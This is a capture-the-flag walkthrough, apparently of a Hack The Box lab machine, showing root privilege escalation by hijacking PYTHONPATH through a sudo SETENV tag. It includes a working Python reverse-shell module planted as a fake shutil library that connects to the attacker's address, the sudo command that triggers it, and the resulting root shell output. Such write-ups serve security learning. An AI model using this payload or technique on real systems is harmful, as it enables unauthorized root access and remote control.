Python Library Hijacking


the assessment of the target system revealed a critical security risk arising from the application of the setenv tag assigned to the waldo user as part of sudo privileges.

this configuration grants the user the ability to propagate environment variables for the sudo-privileged command. While use of the SETENV tag comes at convenience, it carries a significant drawback.

One of the functions in the admin_tasks.sh file invokes an external Python script, seemingly innocent at a glance as it only performs a straightforward backup operation on the web root directory. However, the presence of the SETENV tag, assigned to the waldo user as part of sudo privileges, introduces a critical security risk. This tag enables the user to pass down environment variables, including the PYTHONPATH variable, which dictates the location and loading order of Python libraries.

Hijacking PYTHONPATH


waldo@admirer:/opt/scripts$ python3 -c "import sys; print('\n'.join(x for x in sys.path if x))"
/usr/lib/python35.zip
/usr/lib/python3.5
/usr/lib/python3.5/plat-x86_64-linux-gnu
/usr/lib/python3.5/lib-dynload
/usr/local/lib/python3.5/dist-packages
/usr/lib/python3/dist-packages

Given the Python script uses python3, the command above can be used to print out the PYTHONPATH variable with the correct loading order

waldo@admirer:/opt/scripts$ export PYTHONPATH=/var/tmp
waldo@admirer:/opt/scripts$ python3 -c "import sys; print('\n'.join(x for x in sys.path if x))"
/var/tmp
/usr/lib/python35.zip
/usr/lib/python3.5
/usr/lib/python3.5/plat-x86_64-linux-gnu
/usr/lib/python3.5/lib-dynload
/usr/local/lib/python3.5/dist-packages
/usr/lib/python3/dist-packages

I can, as the waldo user, modify the PYTHONPATH variable This alone is not a security concern as it can be done in any system The issue lies with the SETENV tag in the sudo-privileged command, as it provides an avenue to effectively “hijack” the command execution with the altered PYTHONPATH variable

Exploitation


Due to the presence of the root cronjob that is performing a system-wide wiping operation as well as the unusual behavior in the /dev/shm directory, I will go with the /var/tmp directory

waldo@admirer:/opt/scripts$ cat /var/tmp/shutil.py 
import socket, subprocess, os, pty
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
def make_archive(x,y,z):
  s.connect(("10.10.16.8", 1234))
  os.dup2(s.fileno(), 0)
  os.dup2(s.fileno(), 1)
  os.dup2(s.fileno(), 2)
  pty.spawn("sh")

The payload has been transferred and placed to the /var/tmp directory

waldo@admirer:/opt/scripts$ sudo PYTHONPATH=/var/tmp -u root /opt/scripts/admin_tasks.sh 6
Running backup script in the background, it might take a while...

Executing the sudo-privileged command while passing the PYTHONPATH environment variable set to the /var/tmp directory This will call the backup_web function in the admin_tasks.sh file, leading to invoke the backup.py file, which then loads the malicious shutil library located at /var/tmp/shutil.py

┌──(kali㉿kali)-[~/archive/htb/labs/admirer]
└─$ nnc 1234
listening on [any] 1234 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.10.187] 47440
# whoami
whoami
root
# hostname
hostname
admirer
# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.187  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 fe80::250:56ff:feb9:1993  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef::250:56ff:feb9:1993  prefixlen 64  scopeid 0x0<global>
        ether 00:50:56:b9:19:93  txqueuelen 1000  (Ethernet)
        RX packets 1949528  bytes 344785926 (328.8 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1809071  bytes 1005525966 (958.9 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1  (Local Loopback)
        RX packets 7354  bytes 726344 (709.3 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 7354  bytes 726344 (709.3 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

System Level Compromise